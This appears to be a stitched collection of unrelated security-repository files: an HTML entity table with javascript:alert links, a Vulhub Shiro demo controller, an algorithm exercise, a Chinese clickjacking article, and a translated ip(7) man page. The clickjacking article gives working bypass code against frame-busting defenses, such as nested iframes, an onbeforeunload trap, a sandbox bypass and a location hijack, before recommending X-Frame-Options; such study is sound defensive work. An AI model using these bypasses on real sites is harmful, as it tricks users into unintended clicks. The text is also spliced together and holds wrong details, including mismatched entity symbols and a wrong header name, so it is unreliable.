`&sum;` | ∑ | `&#8721;` | n-ary sumation | u+2211 ISOamsb | \\2211 | <a href='javascript:alert(&quot;\u03a3&quot;)'>\u03a3</a> | | `&minus;` | − | `&#8722;` | minus sign | u+2212 ISOtech | \\2212 | <a href='javascript:alert(&quot;\u2212&quot;)'>\u2212</a> | | `&lowast;` | ∗ | `&#8727;` | asterisk operator | u+2217 ISOtech | \\2217 | <a href='javascript:alert(&quot;\u2217&quot;)'>\u2217</a> | | `&radic;` | √ | `&#8730;` | square root, aka radical sign | u+221A ISOtech | \\221A | <a href='javascript:alert(&quot;\u221a&quot;)'>\u221a</a> | | `&prop;` | ∝ | `&#8733;` | proportional to | u+221D ISOtech | \\221D | <a href='javascript:alert(&quot;\u221d&quot;)'>\u221d</a> | | `&infin;` | ∞ | `&#8734;` | infinity | u+221E ISOtech | \\221E | <a href='javascript:alert(&quot;\u221e&quot;)'>\u221e</a> | | `&ang;` | ∠ | `&#8736;` | angle | u+2220 ISOamso | \\2220 | <a href='javascript:alert(&quot;\u2220&quot;)'>\u2220</a> | | `&and;` | ⊥ | `&#8869;` | logical and, aka wedge | u+2227 ISOtech | \\2227 | <a href='javascript:alert(&quot;\u2227&quot;)'>\u2227</a> | | `&or;` | ⊦ | `&#8870;` | logical or, aka vee | u+2228 ISOtech | \\2228 | <a href='javascript:alert(&quot;\u2228&quot;)'>\u2228</a> | | `&cap;` | ∩ | `&#8745;` | intersection, aka cap | u+2229 ISOtech | \\2229 | <a href='javascript:alert(&quot;\u2229&quot;)'>\u2229</a> | | `&cup;` | ∪ | `&#8746;` | union, aka cup | u+222A ISOtech | \\222A | <a href='javascript:alert(&quot;\u222a&quot;)'>\u222a</a> | | `&int;` | ∫ | `&#8747;` | integral | u+222B ISOtech | \\222B | <a href='javascript:alert(&quot;\u222b&quot;)'>\u222b</a> | | `&there4;` | ∴ | `&#8756;` | therefore | u+2234 ISOtech | \\2234 | <a href='javascript:alert(&quot;\u2234&quot;)'>\u2234</a> | | `&sim;` | ∼ | `&#8764;` | tilde | u+223C ISOtech | \\223C | <a href='javascript:alert(&quot;\u223c&quot;)'>\u223c</a> | | `&cong;` | ≅ | `&#8773;` | approximately equal to | u+2245 ISOtech | \\2245 | <a href='javascript:alert(&quot;\u2245&quot;)'>\u2245</a> | | `&asymp;` | ≈ | `&#8776;` | almost equal to, aka asymptotic to | u+2248 ISOamsr | \\2248 | <a href='javascript:alert(&quot;\u2248&quot;)'>\u2248</a> | | `&ne;` | ≠ | `&#8800;` | not equal to | u+2260 ISOtech | \\2260 | <a href='javascript:alert(&quot;\u2260&quot;)'>\u2260</a> | | `&equiv;` | ≡ | `&#8801;` | identical to | u+2261 ISOtech | \\2261 | <a href='javascript:alert(&quot;\u2261&quot;)'>\u2261</a> | | `&le;` | ≤ | `&#8804;` | less-than or equal to | u+2264 ISOtech | \\2264 | <a href='javascript:alert(&quot;\u2264&quot;)'>\u2264</a> | | `&ge;` | ≥ | `&#8805;` | greater-than or equal to | u+2265 ISOtech | \\2265 | <a href='javascript:alert(&quot;\u2265&quot;)'>\u2265</a> | | `&sub;` | ⊂ | `&#8834;` | subset of | u+2282 ISOtech | \\2282 | <a href='javascript:alert(&quot;\u2282&quot;)'>\u2282</a> | | `&sup;` | ⊃ | `&#8835;` | superset of | u+2283 ISOtech | \\2283 | <a href='javascript:alert(&quot;\u2283&quot;)'>\u2283</a> | | `&nsub;` | ⊄ | `&#8836;` | not a subset of | u+2284 ISOamsn | \\2284 | <a href='javascript:alert(&quot;\u2284&quot;)'>\u2284</a> | | `&sube;` | ⊆ | `&#8838;` | subset of or equal to | u+2286 ISOtech | \\2286 | <a href='javascript:alert(&quot;\u2286&quot;)'>\u2286</a> | | `&supe;` | ⊇ | `&#8839;` | superset of or equal to | u+2287 ISOtech | \\2287 | <a href='javascript:alert(&quot;\u2287&quot;)'>\u2287</a> | | `&oplus;` | ⊕ | `&#8853;` | circled plus, aka direct sum | u+2295 ISOamsb | \\2295 | <a href='javascript:alert(&quot;\u2295&quot;)'>\u2295</a> | | `&otimes;` | ⊗ | `&#8855;` | circled times, aka vector product | u+2297 ISOamsb | \\2297 | <a href='javascript:alert(&quot;\u2297&quot;)'>\u2297</a> | | `&perp;` | ⊥ | `&#8869;` | up tack | u+22A5 ISOtech | \\22A5 | <a href='javascript:alert(&quot;\u22a5&quot;)'>\u22a5</a> | | `&sdot;` | ⋅ | `&#8901;` | dot operator | u+22C5 ISOamsb | \\22C5 | <a href='javascript:alert(&quot;\u22c5&quot;)'>\u22c5</a> | {.show-header} ### HTML Technical | HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) | |----------------|--------|---------------|------------------------------------|------------------|-----------|---------------------| | `&lceil;` | ⌈ | `&#8968;` | left ceiling, aka apl upstile | u+2308 ISOamsc | \\2308 | <a href='javascript:alert(&quot;\u2308&quot;)'>\u2308</a> | | `&rceil;` | ⌉ | `&#8969;` | right ceiling | u+2309 ISOamsc | \\2309 | <a href='javascript:alert(&quot;\u2309&quot;)'>\u2309</a> | | `&lfloor;` | ⌊ | `&#8970;` | left floor, aka apl downstile | u+230A ISOamsc | \\230A | <a href='javascript:alert(&quot;\u230a&quot;)'>\u230a</a> | | `&rfloor;` | ⌋ | `&#8971;` | right floor | u+230B ISOamsc | \\230B | <a href='javascript:alert(&quot;\u230b&quot;)'>\u230b</a> | | `&lang;` | 〈 | `&#9001;` | left-pointing angle bracket | u+2329 ISOtech | \\2329 | <a href='javascript:alert(&quot;\u2329&quot;)'>\u2329</a> | | `&rang;` | 〉 | `&#9002;` | right-pointing angle bracket | u+232A ISOtech | \\232A | <a href='javascript:alert(&quot;\u232a&quot;)'>\u232a</a> | {.show-header} ### HTML Miscellaneous | HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) | |----------------|--------|---------------|--------------------------------------|-----------------|-----------|---------------------| | `&loz;` | ◊ | `&#9674;` | lozenge | u+25CA ISOpub | \\25CA | <a href='javascript:alert(&quot;\u25ca&quot;)'>\u25ca</a> | | `&spades;` | ♠ | `&#9824;` | black spade suit | u+2660 ISOpub | \\2660 | <a href='javascript:alert(&quot;\u2660&quot;)'>\u2660</a> | | `&clubs;` | ♣ | `&#9827;` | black club suit, aka shamrock | u+2663 ISOpub | \\2663 | <a href='javascript:alert(&quot;\u2663&quot;)'>\u2663</a> | | `&hearts;` | ♥ | `&#9829;` | black heart suit, aka valentine | u+2665 ISOpub | \\2665 | <a href='javascript:alert(&quot;\u2665&quot;)'>\u2665</a> | | `&diams;` | ♦ | `&#9830;` | black diamond suit | u+2666 ISOpub | \\2666 | <a href='javascript:alert(&quot;\u2666&quot;)'>\u2666</a> | {.show-header}
sec-knowleage
package org.vulhub.shirodemo; import org.apache.shiro.SecurityUtils; import org.apache.shiro.authc.AuthenticationException; import org.apache.shiro.authc.UsernamePasswordToken; import org.apache.shiro.subject.Subject; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*; @Controller public class UserController { @PostMapping("/doLogin") public String doLoginPage(@RequestParam("username") String username, @RequestParam("password") String password, @RequestParam(name="rememberme", defaultValue = "") String rememberMe) { Subject subject = SecurityUtils.getSubject(); try { subject.login(new UsernamePasswordToken(username, password, rememberMe.equals("remember-me"))); } catch (AuthenticationException e) { return "forward:/login"; } return "forward:/"; } @RequestMapping("/admin") public String helloPage() { return "admin"; } @RequestMapping("/unauth") public String errorPage() { return "error"; } @RequestMapping("/login") public String loginPage() { return "login"; } @GetMapping("/") public String index() { return "login"; } }
sec-knowleage
# 57.2 和为 S 的连续正数序列 ## 题目描述 [牛客网](https://www.nowcoder.com/practice/c451a3fd84b64cb19485dad758a55ebe?tpId=13&tqId=11194&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 输出所有和为 S 的连续正数序列。例如和为 100 的连续序列有: ``` [9, 10, 11, 12, 13, 14, 15, 16] [18, 19, 20, 21, 22]。 ``` ## 解题思路 ```java public ArrayList<ArrayList<Integer>> FindContinuousSequence(int sum) { ArrayList<ArrayList<Integer>> ret = new ArrayList<>(); int start = 1, end = 2; int curSum = 3; while (end < sum) { if (curSum > sum) { curSum -= start; start++; } else if (curSum < sum) { end++; curSum += end; } else { ArrayList<Integer> list = new ArrayList<>(); for (int i = start; i <= end; i++) list.add(i); ret.add(list); curSum -= start; start++; end++; curSum += end; } } return ret; } ```
sec-knowleage
原文 by 瞌睡龙 ## 0x00 相关背景介绍 Clickjacking(点击劫持)是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼在2008年首创的。 是一种视觉欺骗手段,在web端就是iframe嵌套一个透明不可见的页面,让用户在不知情的情况下,点击攻击者想要欺骗用户点击的位置。 由于点击劫持的出现,便出现了反frame嵌套的方式,因为点击劫持需要iframe嵌套页面来攻击。 下面代码是最常见的防止frame嵌套的例子: ``` javascript if(top.location!=location) top.location=self.location; ``` 事实上,这种代码很容易被绕过,在后文中讨论。 ## 0x01 防御的几种方式 防止frame嵌套的js使用代码由高到低比例: ``` javascript if (top != self) if (top.location != self.location) if (top.location != location) if (parent.frames.length > 0) if (window != top) if (window.top !== window.self) if (window.self != window.top) if (parent && parent != window) if (parent && parent.frames && parent.frames.length>0) if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0)) ``` 检测到后的处理方案: ``` javascript top.location = self.location top.location.href = document.location.href top.location.href = self.location.href top.location.replace(self.location) top.location.href = window.location.href top.location.replace(document.location) top.location.href = window.location.href top.location.href = "URL" document.write('') top.location = location top.location.replace(document.location) top.location.replace('URL') top.location.href = document.location top.location.replace(window.location.href) top.location.href = location.href self.parent.location = document.location parent.location.href = self.document.location top.location.href = self.location top.location = window.location top.location.replace(window.location.pathname) window.top.location = window.self.location setTimeout(function(){document.body.innerHTML='';},1); window.self.onload = function(evt){document.body.innerHTML='';} var url = window.location.href; top.location.replace(url) ``` ## 0x02 绕过的几种方式 对于使用parent.location来防御的可以使用多层嵌套的方式绕过。 ### 一、例如防御代码为: ``` javascript if(top.location!=self.location){ parent.location = self.location; } ``` 建立两个页面: 1.html代码为: `<iframe src="2.html">` 2.html代码为: `<iframe src="http://www.victim.com">` 访问1.html之后可以看到页面并无跳转等动作。 ![click1](../pictures/click1.png) ### 二、onBeforeUnload函数的利用: onBeforeUnload的介绍以及各种浏览器的支持情况请见:http://w3help.org/zh-cn/causes/BX2047 如下的防御代码: `if(top != self) top.location.replace(location);` 新建立页面,代码如下: ``` html <script> var framekiller = true; window.onbeforeunload = function() { if(framekiller) { return "Write something here to keep people stay!";} }; </script> <iframe src="http://www.victim.com/"> ``` 打开页面显示如下: ![click2](../pictures/click2.png) 欺骗用户点击留在此页后显示: ![click3](../pictures/click3.png) ### 三、XSS filter的利用 IE8以上以及Chrome 浏览器都有XSS筛选器,这些可以用来对付防御frame 嵌套的代码。 防御代码如下: ``` javascript if(top!=self){ top.location=self.location; } ``` 新建立页面,代码如下: `<iframe src="http://www.victim.com/?<script>">` 访问后页面显示: ![click4](../pictures/click4.png) IE的xss筛选器自动拦截了跳转。 斯坦福的文章里写了Chrome也会出现这种情况,并给出了攻击代码: `<iframe src=http://www.victim.com/?v=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D">` 但是测试发现,新版的Chrome并不会拦截了,会直接跳转过去。 如果跟的参数中有变量在页面中显示的,会把变量过滤一遍再输出,但不会阻止跳转。 ### 四、Referer检查的问题 有一些站点允许自己的域名嵌套自己,禁止外站对自己的嵌套。通常是用document.referer来检测来源是否为自己的域名。 ``` javascript if(top.location!=location){ if(document.referrer && document.referrer.indexOf("aaa.com")==1) { top.location.replace(document.location.href); } } ``` 判断字符串中是否含有本域名是常见的错误用法,利用二级域名的方式便可绕过,如: http://aaa.com.bbb.com 注:从https域下post数据到http域的时候,浏览器不带Referer。 IE有个属性可以设置security为restricted可以禁止iframe里执行js脚本,但是要达到点击劫持的效果,必须要能够执行js所以很鸡肋。 代码如下: `<iframe src="http://www.victim.com/iframe.html" security="restricted"></iframe>` 重点是手机站点,很多主站做的很不错,但是手机站点没有做任何防护,很容易造成点击劫持。 ### 五、iframe sandbox 沙盒绕过 `<iframe src="" sandbox="allow-forms allow-scripts"></iframe> ` 这样允许在 iframe 页面执行 javascript,但是禁止iframe 里的javascript 执行 `top.location = self.location`。 也就是禁止了跳转,绕过了反点击劫持。 ### 六、location劫持 在IE浏览器中,如果能够在防御代码的前面可以插入form表单的话,可以利用form表单对location进行劫持。 ``` html <form name=self location="javascript:alert(1)"></form> <script> if(top!=self){ top.location=self.location } </script> ``` 用iframe 嵌套此代码,可以看到没有跳转,执行了alert(1)。 ## 0x03 推荐防御的方法: ### 一、X-FRAME-OPTIONS X-FRAME-OPTIONS 是微软提出的一个http 头,专门用来防御利用iframe 嵌套的点击劫持攻击。并且在IE8、Firefox3.6、Chrome4 以上的版本均能很好的支持。 这个头有三个值: DENY // 拒绝任何域加载 SAMEORIGIN // 允许同源域下加载 ALLOW-FROM // 可以定义允许frame加载的页面地址 php中设置示例: header ( "X-FRAME-OPTIONS:DENY"); ### 二、目前最好的js的防御方案为: ``` html <head> <style> body { display : none;} </style> </head> <body> <script> if (self == top) { var theBody = document.getElementsByTagName('body')[0]; theBody.style.display = "block"; } else { top.location = self.location; } </script> ```
sec-knowleage
.TH IP 7 "1999年5月11日" "Linux 手册页" "Linux 程序员手册" .SH NAME (名称) ip \- Linux IPv4 协议实现 .SH SYNOPSIS(总览) .B #include <sys/socket.h> .br .B #include <net/netinet.h> .sp .IB tcp_socket " = socket(PF_INET, SOCK_STREAM, 0);" .br .IB raw_socket " = socket(PF_INET, SOCK_RAW, " protocol ");" .br .IB udp_socket " = socket(PF_INET, SOCK_DGRAM, " protocol ");" .SH DESCRIPTION(描述) Linux 实现描述于 RFC791 和 RFC1122 中的 Internet 协议,版本4. .B ip 包括遵循 RFC1112 的第二层的多信道广播技术的实现.它也包括含包过滤器的IP路由器. .\" XXX:有没有人验证了2.1确实是与1812兼容的? .PP 程序员的接口与 BSD 的套接字(socket)兼容. 要获得关于套接字的更多信息,参见 .BR socket (7) .PP 创建一个IP套接字是通过以 .BR "socket(PF_INET, socket_type, protocol)" 方式调用 .BR socket (2) 函数来实现的. 有效的套接字类型(socket_type)有: .B SOCK_STREAM 用来打开一个 .BR tcp (7) 套接字, .B SOCK_DGRAM 用来打开一个 .BR udp (7) 套接字,或者是 .B SOCK_RAW 用来打开一个 .BR raw (7) 套接字用来直接访问 IP 协议. .I protocol 指的是要接收或者发送出去的包含在 IP 头标识(header)中的 IP 协议. 对于TCP套接字而言,唯一的有效 .I protocol 值是 .B 0 和 .B IPPROTO_TCP 对于UDP套接字而言,唯一的有效 .I protocol 值是 .B 0 和 .B IPPROTO_UDP. 而对于 .B SOCK_RAW 你可以指定一个在 RFC1700 中定义的有效 IANA IP 协议代码来赋值. .PP .\" XXX ip当前在监听中会自动绑定,但是我不能确定这是否应该列在文档中 当一个进程希望接受新的来访包或者连接时,它应该使用 .BR bind (2) 绑定一个套接字到一个本地接口地址. 任意给定的本地(地址,端口)对只能绑定一个IP套接字. 当调用 bind 时中声明了 .B INADDR_ANY 时,套接字将会绑定到 .I 所有 本地接口.当在未绑定的套接字上调用 .BR listen (2) 或者 .BR connect (2) 时,套接字会自动绑定到一个本地地址设置为 .BR INADDR_ANY 的随机的空闲端口上. 除非你设置了 .B S0_REUSEADDR 标识,否则一个已绑定的 TCP 本地套接字地址在关闭后的一段时间内不可用. 使用该标识的时候要小心,因为它会使 TCP 变得不可靠. .SH ADDRESS FORMAT(地址格式) 一个 IP 套接字地址定义为一个 IP 接口地址和一个端口号的组合. 基本 IP 协议不会提供端口号,它们通过更高层次的协议如 .BR udp (7) 和 .BR tcp (7) 来实现. 对于raw套接字, .B sin_port 设置为IP协议. .PP .RS .nf .ta 4n 19n 31n struct sockaddr_in { sa_family_t sin_family; /* 地址族: AF_INET */ u_int16_t sin_port; /* 按网络字节次序的端口 */ struct in_addr sin_addr; /* internet地址 */ }; /* Internet地址. */ struct in_addr { u_int32_t s_addr; /* 按网络字节次序的地址 */ }; .ta .fi .RE .PP .I sin_family 总是设置为 .BR AF_INET . 这是必需的;在 Linux 2.2 中,如果该设置缺失,大多数联网函数会返回 .B EINVAL .I sin_port 包含按网络字节排序的端口号.端口号在1024以下的称为 .IR "保留端口". 只有那些有效用户标识为 0 或者 .B CAP_NET_BIND_SERVICE 有功能的进程才可以 .BR bind (2) 到这些套接字.注意原始的(raw)IPv4协议没有这样的端口概念,它们只通过更高的协议如 .BR tcp (7) 和 .BR udp (7) 来实现. .PP .I sin_addr 指的是 IP 主机地址. 在 .B struct in_addr 中的 .I addr 部分包含按网络字节序的主机接口地址. .B in_addr 应该只能通过使用 .BR inet_aton (3), .BR inet_addr (3), .BR inet_makeaddr (3) 库函数或者直接通过名字解析器(参见 .BR gethostbyname (3)) 来访问. IPv4 地址分成单点广播,广播传送和多点广播地址. 单点广播地址指定了一台主机的单一接口,广播地址指 定了在一个网段上的所有主机, 而多点广播地址则在一个多点传送组中寻址所有主机. 只有当设置了套接字标识 .B SO_BROADCAST 时, 才能收发数据报到广播地址. 在当前的实现中,面向连接的套接字只允许使用单点传送地址. .\" 为XTP留下了一个漏洞 @) 注意地址和端口总是按照网络字节序存储的. 这意味着你需要对分配给端口的号码调用 .BR htons (3) . 所有在标准库中的地址/端口处理函数都是按网络字节序运行的. 有几个特殊的地址: .B INADDR_LOOPBACK (127.0.0.1) 总是代表经由回环设备的本地主机; .B INADDR_ANY (0.0.0.0) 表示任何可绑定的地址; .B INADDR_BROADCAST (255.255.255.255) 表示任何主机,由于历史的原因,这与绑定为 .B INADDR_ANY 有同样的效果. .SH SOCKET OPTIONS(套接字选项) IP 支持一些与协议相关的套接字选项,这些选项可以通过 .BR setsockopt (2) 设置,并可以通过 .BR getsockopt (2) 读取. IP 的套接字选项级别为 .B SOL_IP 这是一个布尔整型标识,当值为0时为假,否则则为真. .TP .B IP_OPTIONS 设置或者获取将由该套接字发送的每个包的 IP 选项. 该参数是一个指向包含选项和选项长度的存储缓冲区的指针. .BR setsockopt (2) 系统调用设置与一个套接字相关联的 IP 选项. IPv4 的最大选项长度为 40 字节. 参阅 RFC791 获取可用的选项. 如果一个 .B SOCK_STREAM 套接字收到的初始连接请求包包含 IP 选项时, IP 选项自动设置为来自初始包的选项,同时反转路由头. 在连接建立以后将不允许来访的包修改选项. 缺省情况下是关闭对所有来访包的源路由选项的,你可以用 .B accept_source_route sysctl 来激活.仍然处理其它选项如时间戳(timestamp). 对于数据报套接字而言,IP 选项只能由本地用户设置.调用带 .I IP_OPTIONS 的 .BR getsockopt (2) 会把当前用于发送的 IP 选项放到你提供的缓冲区中. .TP .B IP_PKTINFO 传递一条包含 .B pktinfo 结构(该结构提供一些来访包的相关信息)的 .I IP_PKTINFO 辅助信息. 这个选项只对数据报类的套接字有效. .IP .RS .ta 4n 19n 33n .nf struct in_pktinfo { unsigned int ipi_ifindex; /* 接口索引 */ struct in_addr ipi_spec_dst; /* 路由目的地址 */ struct in_addr ipi_addr; /* 头标识目的地址 */ }; .fi .RE .IP .\" XXX 详细阐述这些. .B ipi_ifindex 指的是接收包的接口的唯一索引. .\" XXX 这对吗? .B ipi_spec_dst 指的是路由表记录中的目的地址,而 .B ipi_addr 指的是包头中的目的地址. 如果给 sendmsg (2)传递了 .I IP_PKTINFO, 那么外发的包会通过在 .B ipi_ifindex 中指定的接口 发送出去,同时把 .B ipi_spec_dst 设置为目的地址. .TP .B IP_RECVTOS 如果打开了这个选项,则 .I IP_TOS , 辅助信息会与来访包一起传递. 它包含一个字节用来指定包头中的服务/优先级字段的类型. 该字节为一个布尔整型标识. .TP .B IP_RECVTTL 当设置了该标识时, 传送一条带有用一个字节表示的接收包生存时间(time to live)字段的 .I IP_RECVTTL 控制信息. 此选项还不支持 .B SOCK_STREAM 套接字. .TP .B IP_RECVOPTS 用一条 .I IP_OPTIONS 控制信息传递所有来访的 IP 选项给用户. 路由头标识和其它选项已经为本地主机填好. 此选项还不支持 .I SOCK_STREAM 套接字. .TP .B IP_RETOPTS 等同于 .I IP_RECVOPTS 但是返回的是带有时间戳的未处理的原始选项和在这段路由中未填入的路由记录项目. .TP .B IP_TOS 设置或者接收源于该套接字的每个IP包的 Type-Of-Service (TOS 服务类型)字段.它被用来在网络上区分包的优先级. TOS 是单字节的字段.定义了一些的标准 TOS 标识: .B IPTOS_LOWDELAY 用来为交互式通信最小化延迟时间, .B IPTOS_THROUGHPUT 用来优化吞吐量, .B IPTOS_RELIABILITY 用来作可靠性优化, .B IPTOS_MINCOST 应该被用作"填充数据",对于这些数据,低速传输是无关紧要的. 至多只能声明这些 TOS 值中的一个.其它的都是无效的,应当被清除. 缺省时,Linux首先发送 .B IPTOS_LOWDELAY 数据报, 但是确切的做法要看配置的排队规则而定. .\" XXX 详细阐述这些 一些高优先级的层次可能会要求一个有效的用户标识 0 或者 .B CAP_NET_ADMIN 能力. 优先级也可以以于协议无关的方式通过( .B SOL_SOCKET, SO_PRIORITY )套接字选项(参看 .BR socket (7) )来设置. .TP .B IP_TTL 设置或者检索从此套接字发出的包的当前生存时间字段. .TP .B IP_HDRINCL 如果打开的话, 那么用户可在用户数据前面提供一个 ip 头. 这只对 .B SOCK_RAW 有效.参看 .BR raw (7) 以获得更多信息.当激活了该标识之后,其值由 .IR IP_OPTIONS 设定,并且 .I IP_TOS 被忽略. .TP .B IP_RECVERR 允许传递扩展的可靠的错误信息. 如果在数据报上激活了该标识, 那么所有产生的错误会在每套接字一个的错误队列中排队等待. 当用户从套接字操作中收到错误时,就可以通过调用设置了 .B MSG_ERRQUEUE 标识的 .BR recvmsg (2) 来接收. 描述错误的 .B sock_extended_err 结构将通过一条类型为 .I IP_RECVERR , 级别为 .BR SOL_IP的辅助信息进行传递. 这个选项对在未连接的套接字上可靠地处理错误很有用. 错误队列的已收到的数据部分包含错误包. .IP IP 按照下面的方法使用 .B sock_extended_err 结构: ICMP 包接收的错误 .I ee_origin 设为 .B SO_EE_ORIGIN_ICMP , 对于本地产生的错误则设为 .B SO_EE_ORIGIN_LOCAL . .I ee_type 和 .I ee_code 设置为 ICMP 头标识的类型和代码字段. .I ee_info 包含用于 .B EMSGSIZE 时找到的 MTU. .I ee_data 目前没有使用. 当错误来自于网络时,该套接字上所有IP选项都被激活 .RI ( IP_OPTIONS ", " IP_TTL ", " 等.)并且当做控制信息包含错误包中传递.引发错误的包的有效载荷会以正常数据返回. .IP .\" XXX:把这些列入文档是个好主意吗?它还是一个不确定的特性. 在 .B SOCK_STREAM 套接字上, .I IP_RECVERR 会有细微的语义不同.它并不保存下次超时的错误,而是立即传递所有进来的错误给用户. 这对 TCP 连接时间很短的情况很有用,因为它要求快速的错误处理. 使用该选项要小心:因为不允许从路由转移和其它正 常条件下正确地进行恢复,它使得TCP变得不可靠,并且破坏协议的规范. 注意TCP没有错误队列; .B MSG_ERRQUEUE 对于 .B SOCK_STREAM 套接字是非法的. 因此所有错误都会由套接字函数返回,或者只返回 .B SO_ERROR . .IP 对于原始(raw)套接字而言, .I IP_RECVERR 允许传递所有接收到的ICMP错误给应用程序,否则错误只在连接的套接字上报告出来. .IP 它设置或者检索一个整型布尔标识. .I IP_RECVERR 缺省设置为off(关闭). .TP .B IP_PMTU_DISCOVER 为套接字设置或接收Path MTU Discovery setting(路径MTU发现设置). 当允许时,Linux会在该套接字上执行定 义于RFC1191中的Path MTU Discovery(路径MTU发现). don't 段标识会设置在所有外发的数据报上. 系统级别的缺省值是这样的: .B SOCK_STREAM 套接字由 .B ip_no_pmtu_disc sysctl 控制,而对其它所有的套接字都被都屏蔽掉了,对于非 .B SOCK_STREAM 套接字而言, 用户有责任按照MTU的大小对数据分块并在必要的情况下进行中继重发.如果设置了该标识 (用 .B EMSGSIZE ),内核会拒绝比已知路径MTU更大的包. .TS tab(:); c l l l. Path MTU discovery(路径MTU发现)标识:含义 IP_PMTUDISC_WANT:对每条路径进行设置. IP_PMTUDISC_DONT:从不作Path MTU Discovery(路径MTU发现). IP_PMTUDISC_DO:总作Path MTU Discovery(路径MTU发现). .TE 当允许 PMTU (路径MTU)搜索时, 内核会自动记录每个目的主机的path MTU(路径MTU).当它使用 .BR connect (2) 连接到一个指定的对端机器时,可以方便地使用 .B IP_MTU 套接字选项检索当前已知的 path MTU(路径MTU)(比如,在发生了一个 .B EMSGSIZE 错误后).它可能随着时间的推移而改变. 对于带有许多目的端的非连接的套接字,一个特定目的端的新到来的 MTU 也可以使用错误队列(参看 .BR IP_RECVERR ) 来存取访问. 新的错误会为每次到来的 MTU 的更新排队等待. 当进行 MTU 搜索时,来自数据报套接字的初始包可能会被丢弃. 使用 UDP 的应用程序应该知道这个并且考虑 其包的中继传送策略. 为了在未连接的套接字上引导路径 MTU 发现进程, 我们可以用一个大的数据报(头尺寸超过64K字节)启动, 并令其通过更新路径 MTU 逐步收缩. .\" XXX 这是一项丑陋的设计 为了获得路径MTU连接的初始估计,可通过使用 .BR connect (2) 把一个数据报套接字连接到目的地址,并通过调用带 .B IP_MTU选项的 .BR getsockopt (2) 检索该MTU. .TP .B IP_MTU 检索当前套接字的当前已知路径MTU.只有在套接字被连接时才是有效的.返回一个整数.只有作为一个 .BR getsockopt (2) 才有效. .\" .TP .B IP_ROUTER_ALERT 给该套接字所有将要转发的包设置IP路由器警告(IP RouterAlert option)选项. 只对原始套接字(raw socket)有效,这对用户空间的 RSVP后 台守护程序之类很有用. 分解的包不能被内核转发,用户有责任转发它们.套接字绑定被忽略, 这些包只按协议过滤. 要求获得一个整型标识. .\" .TP .B IP_MULTICAST_TTL 设置或者读取该套接字的外发多点广播包的生存时间值. 这对于多点广播包设置可能的最小TTL很重要. 缺省值为1,这意味着多点广播包不会超出本地网段, 除非用户程序明确地要求这么做.参数是一个整数. .\" .TP .B IP_MULTICAST_LOOP 设置或读取一个布尔整型参数以决定发送的多点广播包是否应该被回送到本地套接字. .\" .TP .B IP_ADD_MEMBERSHIP 加入一个多点广播组.参数为 .B struct ip_mreqn 结构. .PP .RS .nf .ta 4n 19n 34n struct ip_mreqn { struct in_addr imr_multiaddr; /* IP多点传送组地址 */ struct in_addr imr_address; /* 本地接口的IP地址 */ int imr_ifindex; /* 接口索引 */ }; .fi .RE .IP .I imr_multiaddr 包含应用程序希望加入或者退出的多点广播组的地址. 它必须是一个有效的多点广播地址. .I imr_address 指的是系统用来加入多点广播组的本地接口地址;如果它与 .B INADDR_ANY 一致,那么由系统选择一个合适的接口. .I imr_ifindex 指的是要加入/脱离 .I imr_multiaddr 组的接口索引,或者设为0表示任何接口. .IP 由于兼容性的缘故,老的 .B ip_mreq 接口仍然被支持.它与 .B ip_mreqn 只有一个地方不同,就是没有包括 .I imr_ifindex 字段.这只在作为一个 .BR setsockopt (2) 时才有效. .\" .TP .B IP_DROP_MEMBERSHIP 脱离一个多点广播组.参数为 .B ip_mreqn 或者 .B ip_mreq 结构,这与 .IR IP_ADD_MEMBERSHIP 类似. .\" .\TP .B IP_MULTICAST_IF 为多点广播套接字设置本地设备.参数为 .B ip_mreqn 或者 .B ip_mreq 结构,它与 .IR IP_ADD_MEMBERSHIP 类似. .IP 当传递一个无效的套接字选项时,返回 .B ENOPROTOOPT . .SH SYSCTLS IP协议支持 sysctl 接口配置一些全局选项.sysctl可通过读取或者写入 .B /proc/sys/net/ipv4/* 文件或使用 .BR sysctl (2) 接口来存取访问. .\" .TP .B ip_default_ttl 设置外发包的缺省生存时间值.此值可以对每个套接字通过 .I IP_TTL 选项来修改. .\" .TP .B ip_forward 以一个布尔标识来激活IP转发功能.IP转发也可以按接口来设置 .\" .TP .B ip_dynaddr 打开接口地址改变时动态套接字地址和伪装记录的重写. 这对具有变化的IP地址的拨号接口很有 用.0表示不重写,1打开其功能,而2则激活冗余模式. .\" .TP .B ip_autoconfig 无文档 .\" .TP .B ip_local_port_range 包含两个整数,定义了缺省分配给套接字的本地端口范围. 分配起始于第一个数而终止于第二个数. 注意这些端口不能与伪装所使用的端口相冲突(尽管这种情况也可以处理). 同时,随意的选择可能会导致一些防火墙包过滤器的问题,它们会误认为本地端口在使用. 第一个数必须至少>1024,最好是>4096以避免与众所周知的端口发生冲突, 从而最大可能的减少防火墙问题. .\" .TP .B ip_no_pmtu_disc 如果打开了,缺省情况下不对TCP套接字执行路径MTU发现. 如果在路径上误配置了防火墙(用来丢弃所有 ICMP包)或者误配置了接口 (例如,设置了一个两端MTU不同的端对端连接),路径MTU发现可能会失败. 宁愿修复路径上的损坏的路由器,也好过整个地关闭路径MTU发现, 因为这样做会导致网络上的高开销. .\" .TP .B ipfrag_high_thresh, ipfrag_low_thresh 如果排队等待的IP碎片的数目达到 .B ipfrag_high_thresh , 队列被排空为 .B ipfrag_low_thresh . 这包含一个表示字节数的整数. .TP .B ip_always_defrag [kernel 2.2.13中的新功能;在早期内核版本中,该功能在编译时通过 .B CONFIG_IP_ALWAYS_DEFRAG 选项来控制] 当该布尔标识被激活(不等于0)时, 来访的碎片(IP包的一部分,这生成于当一些在源端和目的端之间的主机认 定包太大而分割成许多碎片的情况下)将在处理之前重新组合(碎片整理), 即使它们马上要被转发也如此. 只在运行着一台与网络单一连接的防火墙或者透明代理服务器时才这么干; 对于正常的路由器或者主机, 永远不要打开它. 否则当碎片在不同连接中通过时碎片的通信可能会被扰乱. 而且碎片重组也需要花费大量的内存和 CPU 时间. 这在配置了伪装或者透明代理的情况下自动打开. .TP .B neigh/* 参看 .BR arp (7) .\" XXX 记载conf的文档/*/* sysctls .\" XXX 记载route的文档/* sysctls .\" XXX 记载它们的所有文档 .SH IOCTLS 所有在 .BR socket (7) 中有描述 的 ioctl 